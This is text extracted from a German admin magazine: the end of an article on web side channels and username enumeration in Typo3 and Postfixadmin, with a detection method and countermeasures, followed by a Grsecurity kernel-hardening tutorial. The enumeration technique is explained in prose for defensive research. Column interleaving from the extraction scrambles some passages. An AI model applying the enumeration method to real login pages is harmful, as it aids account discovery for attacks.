zuvor verschlüsselt erhaltene Lösung 

an den Provider zurück. Das hat den 

Vorteil, dass der Captcha-Provider die 

Benutzer-Session nicht serverseitig verwalten 

muss. Rizzo und Duong konnten 

die Lösung des Captchas über ein 

Padding Oracle entschlüsseln und somit 

das Captcha brechen. Das zeigt, wie ein 

Angreifer manchmal selbst komplizierte 

kryptografische Konzepte überwinden 

kann, indem er nur die Fehlermeldungen 

eines Systems auswertet. 

Seitenkanäle im Web 

Zuweilen bilden Fehlermeldungen, die 

der Angreifer direkt lesen kann, den Seitenkanal. 

Es ist jedoch auch möglich, 

dass eine Anwendung Informationen 

durch weniger offensichtliche Indizien 

verrät. Ein Beispiel wurde in der Version 

4.5.4 des Content-Management-Systems 

Typo3 ausgebessert: Angreifer konnten 

an der HTTP-Header-Reihenfolge des 

Typo3-Backends erkennen, ob ein gegebener 

Benutzername ein gültiger administrativer 

Benutzer war (Tabelle 1). 

Der Fehler entstand, weil Typo3 die 

Überprüfung von Benutzername und 

Passwort trennt. Zuerst wird der Benutzername 

überprüft. Ist er gültig, werden 

einige Konfigurationswerte des Benutzers 

geladen und über die PHP-Funktion »session_start()« 

eine Session gestartet. Dieser 

Aufruf wirkt sich auch auf die Cache- 

Einstellungen aus, die der Server über die 

HTTP-Header preisgibt. Somit werden die 

Cache-Direktiven im HTTP-Header genau 

dann verändert ausgegeben, wenn der 

gewählte Benutzername zu einem gültigen 

administrativen Benutzer gehört. 

Interessanterweise findet man diese Unterschiede 

nur, wenn man gezielt danach 

sucht, denn einen visuellen Unterschied, 

den Benutzer oder Programmierer im 

Browser sehen können, gibt es nicht. 

Verräterisches Postfix 

Eine ähnliche Schwachstelle wurde mit 

Version 2.3.2 von Postfixadmin, einer 

Management-Web-Anwendung für den E- 

Mail-Server Postfix, geschlossen. In vorigen 

Versionen konnten Angreifer herausfinden, 

ob eine E-Mail-Adresse zu einem 

gültigen administrativen Benutzer gehörte 

oder nicht. Dazu musste der Angreifer 

nur die zu prüfende E-Mail-Adresse als 

Benutzername in die Login-Maske von 

Postfixadmin eingeben und bestätigen. 

In der Folge wurde eine Fehlermeldung 

ausgegeben und der Benutzer aufgefordert, 

die E-Mail-Adresse oder das Passwort 

zu korrigieren. Es gab jedoch den 

subtilen Unterschied, dass Postfixadmin 

die vorher eingegebene E-Mail-Adresse 

nur dann wieder in das Benutzernamensfeld 

eintrug, wenn sie korrekt war und 

zu einem Administratorenkonto gehörte. 

Abbildung 2 zeigt den betroffenen Ausschnitt 

aus dem 

HTML-Quellcode 

der Login-Maske 

Step 1: 

von Postfixadmin. 

Der grau hinterlegte 

Teil wird in Step 2: 

Abhängigkeit ob 

eine gültige oder 

Step 3: 

ungültige E-Mail- 

Adresse übergeben 

wurde, ein- oder 

ausgeblendet. 

Generell sind solche 

Informationslecks schwierig aufzufinden, 

da viele gängige Web-Seiten Teile 

der HTTP-Header und der HTML-Inhalte 

dynamisch generieren. Es reicht somit 

nicht, mehrere Web-Server-Antworten 

zu vergleichen, sondern man muss gezielt 

solche Unterschiede finden, die mit 

vertraulichen Informationen zusammenhängen. 

Schinzel und Freiling [2] haben 

2011 eine Methode vorgestellt, um solche 

dynamischen Inhalte zu finden, die von 

vertraulichen Informationen abhängen. 

Den Kern der Methode zeigt Abbildung 

3. Er wird im Folgenden durch das bereits 

genannte Login-Masken-Beispiel 

verdeutlicht. 

Lücken finden 

Der Angreifer führt im ersten Schritt n 

Login-Anfragen mit einem existierenden 

Benutzer durch und sammelt die Antworten 

(A 1 , A 2 , … , A n ). Er führt weiterhin 

n Login-Anfragen mit einem nicht-existierenden 

Benutzer durch und sammelt 

die Anfragen (B 1 , B 2 , … B n ). Im zweiten 

Schritt bildet er die gemeinsame Longest 

Common Subsequence (LCS) jeweils 

von A und B, wodurch alle dynamischen 

Teile, die nicht von der Existenz des Benutzernamens 

abhängen, herausgefiltert 

werden. X A und X B enthalten dann als 

Resultat den statischen Kern der Antworten. 

Im dritten Schritt vergleicht der 

Angreifer X A und X B. Werden in diesem 

Schritt noch Unterschiede gefunden, so 

hängen diese Unterschiede davon ab, ob 

A1, A2, ..., An 

LCS 

s=0 s=1 

X A 

! 

E 

B 1, B2, ..., Bn 

LCS 

X B 

Abbildung 3: Durch Ausfiltern der dynamischen Anteile ohne Bezug zum Benutzernamen 

werden Unterschiede sichtbar, die von der Existenz des Namens abhängen. 



security 

durch die Analyse der Fehlermeldungen 

erhält. Zusätzlich sollten Administratoren 

die Fehlerzustände loggen und die 

Gesamtzahl der Fehlermeldungen beobachten. 

Steigt die Anzahl der Fehler 

zeitabhängig stark an, oder lassen sich 

viele Fehler auf wenige Benutzer zurückverfolgen, 

so könnte das ein Anzeichen 

für einen Angriff sein. 

Seitenkanäle führen zu Informationslecks, 

die nur bei genauem Hinsehen 

sichtbar werden und können über Jahre 

unentdeckt bleiben. In den hier gezeigten 

Seitenkanälen stecken die Informationslecks 

in den dynamischen Fragmenten 

des HTTP- und HTML-Anteils von Web- 

Seiten. Da Web-Seiten auch weiterhin zunehmend 

dynamischer werden, wächst 

die Wahrscheinlichkeit für solche Seitenkanäle, 

und es wird schwieriger, die 

Seitenkanäle und die ungefährlichen dynamischen 

Teile auseinanderzuhalten. 

Es bleibt daher den Programmierern der 

Anwendungen überlassen, solche Seitender 

Benutzername existiert oder nicht, 

und der Angreifer hat eine generische 

Schwachstelle in der Zielanwendung gefunden. 

Der Angreifer kann jetzt einen 

Brute-Force-Angriff mit verschiedenen 

Benutzernamen starten und anhand der 

Antworten herausfinden, ob ein Benutzername 

existiert oder nicht. 

Gegenmaßnahmen 

Um Informationslecks durch Fehlermeldungen 

zu verhindern, sollten Fehlermeldungen 

so generisch wie möglich sein. Es 

reicht in vielen Fällen aus, den Benutzern 

eine generische Seite zu zeigen, in der 

zusätzlich zu der generischen Fehlermeldung 

eine zufällig generierte und eindeutige 

Fehler-ID zugeordnet wird. Kann der 

Benutzer sein Problem nicht selbst lösen, 

so können Administratoren über die 

Fehler-ID die detaillierte Fehlermeldung 

einsehen. So hat man verhindert, dass 

ein Angreifer vertrauliche Informationen 

kanäle zu entdecken und zu schließen, 

wie es die Postfixadmin- und den Typo3- 

Entwickler taten. (jcb) 

n 

Infos 

[1] Tibor Jager und Juraj Somorovsky: „How 

to break XML Encryption“, ACM CCS 2011. 

[2] Felix Freiling und Sebastian Schinzel: 

„Detecting Hidden Storage Side Channel 

Vulnerabilities in Networked Applications“, 

IFIP Sec 2012 

[3] Juliano Rizzo und Thai Duong: „Practical 

Padding Oracle Attacks“, Usenix WOOT 

2010 

Der Autor 

Dr. Sebastian Schinzel ist wissenschaftlicher 

Mitarbeiter der Universität Erlangen-Nürnberg 

und erforscht dort verdeckte Informationslecks 

in Web-Anwendungen. Er ist zudem seit mehr als 

sechs Jahren als Autor, Referent und Penetrationstester 

tätig und berät Unternehmen zu der 

Sicherheit von Softwareanwendungen. 

Anzeige 

Kann eine 

Schulungseinrichtung 

für mehr als EINEN 

Themenbereich 

berühmt werden? 

Das Linuxhotel ist bekannt für erstklassige Open-Source-Schulungen. In den letzten Jahren kamen Java 

und andere Programmiersprachen hinzu - wie immer in Kooperation mit führenden Spezialisten, und in 

abgeschiedener, konzentrierter, aber auch ziemlich verspielter Umgebung. Es ist so naheliegend, auch 

Entwicklerthemen bei den OpenSource‘lern zu lernen, weil man dort schon immer sehr „unter die 

Haube“ guckte und mit viel Freude intensivst arbeitet. Das weiss ein Großteil der deutschen Admins, nur 

unter Entwicklern hat's sich noch nicht so ganz herumgesprochen. 

Mehr siehe www.linuxhotel.de 


Admin 


55

Security 

Grsecurity 

© Luce Morin, 123RF 

Systemsicherheit erhöhen mit Grsecurity 

Abgedichtet 

Sicherheitsbewusste ziehen um ihr Haus einen tiefen Wassergraben mit Krokodilen, verstecken ihr Mobiliar in 

Hinterzimmern und lassen Besucher nur nach der Nennung eines geheimen Codewortes ins Bad. Nach einem 

ähnlichen radikalen Prinzip baut Grsecurity Linux-Systeme zu einer Festung aus. Tim Schürmann 

Eine kleine Patch-Sammlung namens 

Grsecurity (für Greater Security) verwandelt 

den Linux-Kernel in einen extrem 

misstrauischen Gesellen. Gleich mit einem 

ganzen Maßnahmenbündel versucht 

er präventiv, Angreifer auszusperren, und 

behandelt jeden Benutzer erst einmal als 

prinzipielle Gefahrenquelle. So erlaubt er 

unter anderem den Aufruf von »dmesg« 

nur ganz bestimmten Benutzern, riegelt 

das »/proc«-Verzeichnis ab und der Kernel 

verhindert Zugriffe auf »/dev/kmem«, 

»/dev/mem« und »/dev/port«. Anwendungen 

schiebt er an eine zufällige Stelle 

im Hauptspeicher (Address Space Layout 

Randomization) und versteckt alle 

Kernel-Threads. 

Rollenspiel 

Grsecurity zunächst allen Benutzern ihre 

Zugriffsrechte, versteckt vor ihnen sogar 

Teile des Dateisystems und erlaubt so nur 

das gerade Notwendige. Anschließend 

gestattet der Administrator einzelnen Benutzern 

dann gezielt wieder bestimmte 

Aktionen. Benutzer mit ähnlichen Aufgaben 

lassen sich in Gruppen zusammenfassen, 

den sogenannten Rollen. Denen 

kann der Admin anschließend ebenfalls 

weitere Rechte zugestehen. So darf beispielsweise 

die Gruppe der Webmaster 

den SSH-Daemon starten, die Gruppe 

der Datenbankadministratoren hingegen 

nicht. 

Die Konfiguration bleibt dennoch kinderleicht: 

Man lässt Grsecurity einfach 

eine Weile die Arbeit des Webmasters 

beobachten und anschließend die dabei 

durchgeführten Aktionen für ihn freigeben. 

Sämtliche anderen Aktionen bleiben 

weiterhin verboten. Diese automatisch 

ermittelte Konfiguration lässt sich selbstverständlich 

noch manuell verfeinern 

beziehungsweise anpassen. 

Von RBAC unabhängig verhindert Grsecurity, 

dass Benutzer eigene, möglicherweise 

böswillige Programme oder Skripte 

starten (Trusted Path Execution). Aufrufen 

lassen sich dann nur noch Anwendungen 

aus Verzeichnissen, für die ausschließlich 

der Benutzer »root« Schreibrechte 

besitzt. Abschließend dichtet Grsecurity 

auch noch Chroot-Umgebungen so ab, 

dass die darin laufenden Programme 

weder Zugriff auf Systemfunktionen er- 

Den Kern von Grsecurity bildet jedoch 

die rollenbasierte Zugriffskontrolle (Role 

Based Access Control, kurz RBAC), 

die auf der schon vorhandenen Rechteverwaltung 

aufsetzt. Dabei entzieht 

Abbildung 1: Zum Redaktionsschluss enthielt das Repository von Julien Tinnes nur diese Kernel-Versionen. 


Grsecurity 

Security 

halten, noch ihr neues Zuhause wieder 

verlassen können. 

Alle diese Funktionen erschweren einen 

Einbruch in das System erheblich und 

schützen somit auch vor noch unbekannten 

Sicherheitslücken. Sollte es dennoch 

passieren, kann ein kompromittiertes 

Programm dank beschränkter Zugriffsrechte 

keinen größeren Schaden anrichten. 

Grsecurity steht unter der freien GNU 

GPL, die Weiterentwicklung finanziert 

sein Autor Brad Spengler aus Spenden 

und über kommerziellen Support. 

Gespaltene Persönlichkeit 

Grsecurity besteht aus mehreren Teilen: 

Dank der Patch-Sammlung überwacht 

der Linux-Kernel alle Prozesse und unterbindet 

im Fall der Fälle verbotene Aktionen. 

Die Konfiguration und Einrichtung 

des RBAC-Systems übernimmt das kleine 

Kommandozeilenwerkzeug »gradm«, die 

übrigen Kernel-Funktionen schaltet man 

über »sysctl« ein und aus. 

Dummerweise steht der Kernel-Patch nur 

für bestimmte Kernel-Versionen bereit, 

zum Redaktionsschluss trugen sie die 

Nummern 3.2.19 und 2.6.32.59. Diese 

beiden Kernel hält Brad Spengler für stabil. 

Darüber hinaus lässt sich der Patch 

nur auf den originalen, unmodifizierten 

Kernel von kernel.org anwenden (den 

sogenannten Vanilla-Kernel). Da keine 

der großen Distributionen einen mit Grsecurity 

gepatchten Kernel anbietet, muss 

man folglich selbst den originalen Kernel 

herunterladen, patchen, übersetzen und 

dann auch immer noch auf dem aktuellen 

Stand halten. Das sollte man nur in 

Angriff nehmen, wenn man auf diesem 

Gebiet bereits Erfahrungen gesammelt 

hat. Als Alternative bieten sich ähnlich 

arbeitende Systeme an, wie etwa Tomoyo 

[2]. 

Zahlenspiele 

Wie man einen Kernel übersetzt, hängt 

von der jeweiligen Distribution ab. 

Die meisten bringen dafür einen Satz 

Spezialwerkzeuge mit. Unter Ubuntu 

installiert der Befehl alles Notwendige: 

sudo apt‐get install fakeroot U 

build‐essential libncurses5 U 

libncurses5‐dev kernel‐package 

Abbildung 2: In diesem Fall ist das Archiv mit den Kernel-Patches unversehrt. 

Die Grsecurity-Homepage [1] verrät, für 

welche Kernel-Versionen überhaupt passende 

Patches bereitstehen. Für einen 

davon müssen Sie sich entscheiden, im 

Folgenden soll beispielhaft der Kernel 

3.2.19 zum Einsatz kommen. Für ihn 

laden Sie den passenden Grsecurity- 

Patch herunter. Zum Redaktionsschluss 

war die Grsecurity-Version 2.9 erhältlich, 

die benötigte Datei heißt somit »grsecurity‐2.9‐3.2.19‐...«. 

Am besten laden Sie 

sich auch gleich noch das Archiv für 

»gradm« herunter, das unbedingt dieselbe 

Extrawurst 

Versionsnummer wie Grsecurity tragen 

muss, im Beispiel also die 2.9. Weiter 

geht es zu kernel.org [5], wo Sie sich 

die „Full Source“ der passenden Kernel- 

Version besorgen, im Beispiel also 3.2.19. 

Alle heruntergeladenen Dateien sollten 

für die folgenden Schritte im selben Verzeichnis 

liegen. 

Um die Echtheit zu prüfen, laden Sie 

sich den Schlüssel von der Grsecurity- 

Homepage herunter (über den etwas unscheinbaren 

Link »You can download the 

key used to sign these packages here«). 

Eine kleine Sonderrolle nehmen Debian 6 und 

Ubuntu 12.04 ein. Zunächst einmal halten diese 

beiden Distributionen eine ältere Version des 

Werkzeugs »gradm« in ihren Repositories 

bereit, bieten aber kurioserweise keinen mit 

Grsecurity gehärteten Kernel. Den stellt stellvertretend 

Julien Tinnes in einem eigenen Repository 

bereit [3]. Die Auswahl beschränkt 

sich allerdings auf ein paar Kernel mit der Versionsnummer 

2.6.32 und jünger (Abbildung 1). Für 

Debian 6 dürfte das noch passen, Ubuntu 12.04 

setzt jedoch schon den Kernel 3.2 ein. 

Darüber hinaus fehlt im Repository ein zu den 

Kerneln passendes »gradm«-Werkzeug. Die 

Fassung auf der Grsecurity-Homepage trug 

zum Redaktionsschluss bereits eine höhere 

Versionsnummer und arbeitet somit nicht mehr 

mit den von Julien Tinnes gebauten Kerneln 

zusammen. Auch das von Debian mitgelieferte 

»gradm«-Paket ist hier nutzlos. Da man zudem 

Julien Tinnes und seinen Kerneln blind vertrauen 

muss, eignet sich sein Angebot nur zum 

schnellen Ausprobieren von Grsecurity unter 

Debian – wenn man denn auf das RBAC-System 

verzichten kann. Das Repository fügen in diesem 

Fall die folgenden Befehle hinzu: 

su root 

echo 'deb http://debian.cr0.org/repo/ 

kernel‐security/' >> /etc/apt/sources.list 

wget http://kernelsec.cr0.org/ 

kernel‐security.asc 

apt‐key add kernel‐security.asc 

apt‐get update 

Jetzt kann man sich alle darin verfügbaren Kernel 

anzeigen lassen: 

apt‐cache search linux image grsec 

und den Kernel mit der höchsten Versionsnummer 

installieren: 

apt‐get install 

linux‐image‐2.6.32.15‐1‐grsec 


Admin 


57

Security 

Grsecurity 

Anschließend kopieren Sie sich noch die 

jeweiligen Signaturen über die [sig]-Links 

und rufen dann folgende Befehle auf: 

gpg ‐‐import spender‐gpg‐key.asc 

gpg ‐‐verify grsecurity‐2.9‐3.2.19‐U 

201206042135.patch.sig 

gpg ‐‐verify gradm‐2.9‐201202232055.tar.U 

gz.sig 

Die Ausgaben sollten wie in Abbildung 

2 aussehen. Wichtig ist, dass in den 

Meldungen ein »Korrekte Unterschrift« 

erscheint. Andernfalls müssen Sie den 

Patch beziehungsweise das »gradm«-Archiv 

noch einmal erneut herunterladen. 

Zusätzlich kann man noch den Haupt- 

Fingerabdruck prüfen. Für die Grsecurity-Archive 

steht er auf der Grsecurity- 

Downloadseite. Da aber alle diese Informationen 

von derselben Seite stammen, 

muss man letztlich dieser Quelle mehr 

oder weniger vertrauen. Das Kernel-Archiv 

verifiziert man nach dem gleichen 

Prinzip, alle notwendigen Schritte nennt 

die Seite [5]. 

Als Nächstes entpacken Sie das Kernel- 

Archiv: 

tar xvfj linux‐3.2.19.tar.bz2 

cd linux‐3.2.19 

Bei Bedarf könnnen Sie die Kernel-Konfiguration 

der Distribution übernehmen, 

unter Ubuntu etwa mit: 

cp /boot/config‐`uname ‐r` .config 

Jetzt gilt es, den Kernel mit Grsecurity 

zu patchen: 

patch ‐p1 < ../grsecurity‐2.9‐3.2.19‐U 

201206042135.patch 

und ihn dann zu konfigurieren: 

make menuconfig 

Stellwerk 

Die Einstellungen zu Grsecurity verstecken 

sich unter den »Securtiy Options 

| Grsecurity«, wo Sie Grsecurity einschalten. 

Für jede Sicherheitsfunktion 

erscheint jetzt ein weiterer Punkt (Abbildung 

3). Die Punkte können Sie einzeln 

nacheinander durchgehen – oder aber 

einfach hinter »Security Level« eine von 

drei möglichen Voreinstellungen aktivieren. 

»High« schaltet einfach sämtliche 

Sicherheitsfunktionen ein. Es bietet damit 

die höchste Sicherheit, einige wenige 

Programme könnten aber später Probleme 

bereiten. 

Für die ersten Schritte mit Grsecurity 

bietet sich daher zunächst das »Low«- 

Profil an. Es aktiviert zwar nur einen Teil 

der Sicherheitsfunktionen, ungewollte 

Nebeneffekte sind damit jedoch ausgeschlossen. 

Läuft das System einwandfrei, 

schalten Sie nach und nach auf das jeweils 

striktere Profil um. Einen schnellen 

Überblick über die Sicherheitsfunktionen 

der einzelnen Profile gibt der Kasten 

„Profiliert“. 

Nach der Wahl des Profils sollten Sie 

zusätzlich unter »Sysctl support« den 

»Sysctl support« und »Turn on features 

by default« aktivieren. Damit können Sie 

später im laufenden System einige Sicherheitsfunktionen 

über simple Kommandozeilenbefehle 

ein- und ausschalten (zu 

denen später noch mehr). Das ist nicht 

nur bequem, um schnell eine Funktion 

zu testen oder eine störende abzuschalten. 

Sie ersparen sich damit gleichzeitig, 

den Kernels erneut zu übersetzen. 

Aufgepasst 

Wenn Sie das System in den produktiven 

Betrieb nehmen, sollten Sie den »Sysctl 

support« jedoch wieder deaktivieren. Andernfalls 

könnten Angreifer darüber das 

Sicherheitssystem unbemerkt abschalten. 

Alle übrigen hier im Kernel von Grsecurity 

angebotenen Funktionen sollten Sie 

nur ein- und ausschalten, wenn Sie ihre 

Bedeutung und Wirkung kennen. 

Abschließend konfigurieren Sie den übrigen 

Kernel nach Ihren Bedürfnissen und 

Profiliert 

Standardmäßig ist in jedem Profil das RBAC-System aktiv – allerdings mit 

unterschiedlich strengen Restriktionen. Da einige Programme nicht mit 

der Trusted Path Execution zurechtkommen, muss man sie im Bereich 

»Executable Protections« grundsätzlich selbst aktivieren. 

Low 

In frei beschreibbaren Verzeichnissen wie »/tmp« können Benutzer weder 

FIFOs anlegen noch (endlos) symbolischen Links folgen. Zudem bleibt es 

ihnen verwehrt, Hardlinks auf fremde Dateien zu erstellen, unbegrenzt 

mit »execvs()« Prozesse zu starten und mit dem Kommando »dmesg« das 

Kernel-Log anzusehen. Wechselt eine Anwendung in eine Chroot-Umgebung, 

setzt Grsecurity ihr Arbeitsverzeichnis auf das Root-Verzeichnis der 

Chroot-Umgebung. Damit ist es der Anwendung nicht mehr möglich, doch 

noch auf ein Verzeichnis außerhalb der Chroot-Umgebung zuzugreifen. 

Medium 

Dieses Profil dichtet vor allem Chroot-Umgebungen weiter ab. So verwehrt 

Grsecurity den darin laufenden Prozessen unter anderem das Mounten von 

Dateisystemen, Zugriffe auf Kernelparameter (via »sysctl« oder über »/ 

proc«) sowie »mknod«-Aufrufe. Im übrigen System widmet sich Grsecurity 

verstärkt dem Hauptspeicher. So verbietet es den Zugriff auf »/dev/ 

kmem«, »/dev/mem« und »/dev/port«. Das soll vor allem Rootkits den Weg 

in den Kernel erschweren. 

Zudem landen neu gestartete Programme an einer zufällig gewählten 

Stelle im Hauptspeicher (Address Space Layout Randomization, ASLR). 

Das erschwert es Schadcode, die Sicherheitslücke im Programm zu finden. 

Grsecurity protokolliert mit dieser Einstellung auch fehlgeschlagene 

»fork()«-Aufrufe, Änderungen der Systemzeit und Abstürze in Form einer 

Zugriffsverletzung (Segmentation Fault). Einblick in »/proc« bekommen 

jetzt nur noch Benutzer aus der Gruppe mit der GID 1001. In der Folge 

sehen Benutzer nur noch ihre eigenen Prozesse. Laut Brad Spengler sollen 

die im Medium-Profil aktivierten Sicherheitsfunktionen nur bei veralteter, 

schlecht geschriebener oder spezieller Software Probleme bereiten. Beispielsweise 

muss man einem »identd«-Daemon die GID 1001 verpassen 

– sofern man überhaupt diesen Dienst nutzt. 

High 

Das höchste Sicherheitsprofil verschärft noch einmal alle Maßnahmen. 

So entfernt Grsecurity alle Adressangaben unter »/proc«. Die Pseudodateisysteme 

»sysfs« und »debugfs« (in der Regel also das Verzeichnis 

»/sys«) darf nur noch der Benutzer Root einsehen. Damit erhalten normale 

Nutzer keinen Einblick mehr in die Hardware- und Debug-Informationen 

des Systems. Darüber hinaus versteckt Grsecurity alle Kernelsymbole 

und randomisiert den Kernel-Stack. Das automatische Laden von Kernelmodulen 

ist nur noch unter dem Benutzer Root gestattet. Grsecurity 

protokolliert zudem das Ein- und Aushängen von Dateisystemen. Prozesse 

in einer Chroot-Umgebung dürfen weder Netzwerkschnittstellen einrichten 

noch Module laden oder das System neu starten. 

Eine ausführliche Beschreibung aller Funktion sowie der drei Profile liefert 

ein langer Anhang der offiziellen Grsecurity-Dokumentation [6]. 


Grsecurity 

Security 

übersetzt ihn. Das erfolgt unter Ubuntu 

mit den Befehlen: 

make‐kpkg clean 

fakeroot make‐kpkg ‐‐initrd ‐‐append‐to‐U 

version "grsec" kernel_image 

Möglicherweise erhalten Sie dabei die 

Fehlermeldung aus Abbildung 4: »Your 

gcc installation does not support plugins.«. 

Um das Problem zu lösen, installieren 

Sie entweder das entsprechende 

Paket mit der Plugin-Unterstützung für 

GCC oder stellen dem »make«-Aufruf ein 

»DISABLE_PAX_PLUGINS=y« voran. 

Letzteres sieht im Fall von Ubuntu wie 

folgt aus: 

DISABLE_PAX_PLUGINS=y fakeroot make‐kpkgU 

‐‐initrd kernel_image 

Erscheint nach mehreren Tassen Kaffee 

die Erfolgsmeldung, können Sie den Kernel 

in den Bootvorgang einbinden. Unter 

Ubuntu müssen Sie dazu nur noch das 

erstellte Paket einspielen: 

cd .. 

sudo dpkg ‐i linux‐image*.deb 

Das erzeugt gleichzeitig einen neuen Eintrag 

im Bootmenü. Auch auf anderen Systemen 

sollten Sie zumindest während der 

Testphase den alten Kernel noch im Bootmenü 

behalten. Damit können Sie immer 

wieder zu ihm zurückkehren und bleiben 

im Fall der Fälle nicht ausgesperrt. 

Kommandozentrale 

Nach einem Neustart ist es recht schwierig 

herauszufinden, ob Grsecurity aktiv 

ist. Man kommt nicht umhin, ein paar 

seiner Funktionen zu prüfen. Als Erstes 

sollte 

Ging alles glatt, fordert »gradm« die Eingabe 

eines Passworts. Nur mit ihm könecho 

"0" >/proc/U 

sys/kernel/U 

grsecurity/dmesg 

wieder jedem Benutzer 

den Zugriff 

via »dmesg« auf 

das Kernel-Log. Alternativ 

kann man 

natürlich auch das 

Systemwerkzeug 

»sysctl« verwenden: 

sysctl kernel.U 

grsecurity.dmesg=0 

Bei dieser Variante 

steht jedem 

Kernel-Parameter 

grundsätzlich ein 

»kernel.grsecurity« voran. Alle möglichen 

Parameter und ihre aktuellen Einstellungen 

liefert (Abbildung 5): 

sysctl ‐a | grep ‐i grsec 

Die Änderungsmöglichkeit über »Sysctl« 

und »/proc« können Sie komplett abschalten 

beziehungsweise sperren: 

echo "1" >/proc/sys/kernel/grsecurity/ 

grsec_lock 

Damit kann sie kein Angreifer mehr verändern 

– Sie selbst allerdings auch erst 

wieder nach einem Neustart. 

Die Zugriffskontrolle des RBAC-Systems 

ist standardmäßig deaktiviert. Um sie 

nutzen und einrichten zu können, muss 

man noch das Werkzeug »gradm« erstellen. 

Dazu braucht man die über den 

Abbildung 3: Mit Ausnahme des RBAC-Systems konfiguriert man die Grsecurity- 

Funktionen vor der Übersetzung des Linux-Kernels. 

Paketmanager nachgeholten Programme 

Bison und Lex (respektive Flex) sowie die 

folgenden Befehle: 

tar xvfz gradm‐2.9‐201202232055.tar.gz 

cd gradm2 

make 

sudo make install 

Unter Umständen meldet das letzte Kommando, 

dass es »/dev/grsec« nicht öffnen 

kann. In diesem Fall sollten Sie zunächst 

prüfen, ob Grsecurity tatsächlich aktiv 

ist. Sofern weder »udev« noch »devfs« 

laufen, muss man zudem die Gerätedatei 

selbst anlegen: 

mknod ‐m 0622 /dev/grsec c 1 13 

uname ‐r 

einen Kernel mit »‐grsec« nennen. Darüber 

hinaus darf man als normaler Benutzer 

nicht mehr mit »dmesg« das Kernel- 

Log abrufen. 

Sofern man die Sysctl-Schnittstelle aktiviert 

hat, erscheint unter »/proc/sys/ 

kernel« das Verzeichnis »grsecurity«. Jede 

Datei dort repräsentiert eine grsecurity- 

Funktion. Indem man in sie als Benutzer 

»root« eine 1 oder 0 schreibt, schaltet 

man die Funktion ein beziehungsweise 

aus. Beispielsweise erlaubt der Kernel 

nach einem 

Abbildung 4: Erscheint diese Fehlermeldung beim Übersetzen des Kernels, unterstützt der Compiler 

keine Plugins. 


Admin 


59

Security 

Grsecurity 

nen Sie später die Zugriffskontrolle wieder 

deaktivieren. Erneuern beziehungsweise 

ändern lässt sich dieses Passwort 

jederzeit via 

gradm ‐P 

Standardmäßig existiert eine spezielle 

Rolle »admin«. Wie ihr Name andeutet, 

darf ein »admin« das System administrieren. 

Im Auslieferungszustand könnte 

theoretisch jeder mit 

gradm ‐a admin 

zu einem »admin« aufsteigen (beziehungsweise 

diese Rolle einnehmen). Um 

das zu verhindern, gilt es ein Passwort 

zu setzen: 

gradm ‐P admin 

Vergeben Sie kein Passwort, wird »gradm« 

gleich diese Sicherheitslücke anprangern 

und den Start des RBAC-Systems 

verweigern. Analog gibt es eine Rolle 

»shutdown«. Diese müssen Sie später 

einnehmen, wenn Sie bei aktiviertem 

RBAC-System den Computer herunterfahren 

möchte. Auch für »shutdown« ist 

ein Passwort zu setzen: 

gradm ‐P shutdown 

Sämtliche Passwörter sammelt »gradm« 

verschlüsselt in der Datei »/etc/grsec/ 

pw«. 

Jetzt endlich können Sie das RBAC-System 

aktivieren: 

gradm ‐E 

»gradm« liest dabei als Erstes 

die Konfigurationsdatei »/etc/ 

grsec/policy« ein. Sie enthält 

das grundlegende Regelwerk 

und teilt dem RBAC-System 

mit, wer welche Zugriffsrechte 

besitzt. In ihr sind auch die 

mitgelieferten Rollen »admin« 

und »shutdown« definiert. 

Mit anderen Worten enthält 

die Datei »policy« nichts anderes 

als eine Access Control 

List (ACL). »gradm« prüft, ob 

dieses Regelwerk Sicherheitslöcher 

oder (Tipp-)Fehler enthält. 

Ist dies der Fall, bemängelt 

es die entsprechenden 

Punkte und lässt die Zugriffskontrolle 

deaktiviert. Andernfalls 

startet es das RBAC-System 

mit den in »/etc/grsec/policy« hinterlegten 

Rollen und Zugriffsrechten. 

Sobald das RBAC-System läuft, bleibt 

das Regelwerk für jegliche Änderungen 

gesperrt. Grsecurity versteckt sogar die 

Konfigurationsdateien unter »/etc/grsec«. 

Sehen kann man sie dann nur, wenn man 

in die Rolle »admin« schlüpft. Ebenso 

ist es jetzt selbst als »root« unmöglich, 

verschiedene Systemdienste wie den 

SSH-Daemon zu starten und zu stoppen. 

Auch das ist nur Benutzern in der Rolle 

»admin« gestattet. Um sie einzunehmen, 

ruft man: 

gradm ‐a admin 

auf. Jetzt sieht man wieder den Inhalt 

von »/etc/grsec« und kann den SSH- 

Daemon starten. Um die Rolle wieder 

abzulegen, genügt ein: 

gradm ‐u 

Durch das Rollen-Konzept erhält man 

folglich eine zweistufige Absicherung: 

Um einen Systemdienst zu starten oder 

zu stoppen, muss man zunächst Root- 

Rechte erhalten und dann noch per 

»gradm« in die Rolle »admin« schlüpfen. 

Schulung 

Nun könnten Sie die Konfigurationsdatei 

»/etc/grsec/policy« öffnen und ihr selbst 

weitere Rollen hinzufügen beziehungsweise 

die bisherigen Regeln verschärfen. 

Dabei passiert es jedoch leicht, dass man 

Abbildung 5: Welche Grsecurity-Funktionen man über »sysctl« ein- und 

ausschalten kann, hängt maßgeblich von den beim Übersetzen des Kernels 

gewählten Einstellungen ab. 

mehr Rechte zugesteht, als eigentlich 

notwendig, oder dass man wichtige Sonderfälle 

vergisst. »gradm« bietet deshalb 

einen Lernmodus. In ihm beobachtet es 

das System eine Zeit lang, merkt sich 

dabei alle ausgeführten Aktionen und generiert 

anschließend die passenden Regeln. 

Dazu müssen Sie das RBAC-System 

zunächst deaktivieren: 

gradm ‐D 

Hierzu ist das Passwort einzugeben, das 

man bei der Installation von »gradm« 

vorgegeben hat. 

Das komplette System überwacht 

»gradm« via: 

gradm ‐F ‐L /etc/grsec/gelerntes.log 

Alle protokollierten Aktionen landen 

in der Datei »/etc/grsec/gelerntes.log«. 

Jetzt sollten die Benutzer des Systems 

alle ihnen zukünftig erlaubten Aktionen 

ausführen – und zwar mehrmals. 

Die Wiederholung hat einen wichtigen 

Grund: »gradm« versucht grundsätzlich 

so wenige Regeln wie möglich zu generieren. 

Wenn beispielsweise ein aufgerufenes 

Programm mehr als vier Mal auf 

Dateien in einem Verzeichnis zugreift wie 

etwa unter »/tmp« gestattet Grsecurity 

ihm später den kompletten Schreibzugriff 

auf dieses Verzeichnis. 

Ausnahmen von diesen Regeln gibt die 

Datei »/etc/grsec/learn_config« vor. Alle 

in ihr genannten Verzeichnisse bleiben 

tabu und weiterhin gesperrt. Zudem 

können Sie hier das Lernverhalten 

für bestimmte Verzeichnisse 

beeinflussen. In 

jeder Zeile steht dabei genau 

ein Verzeichnis. Was mit ihm 

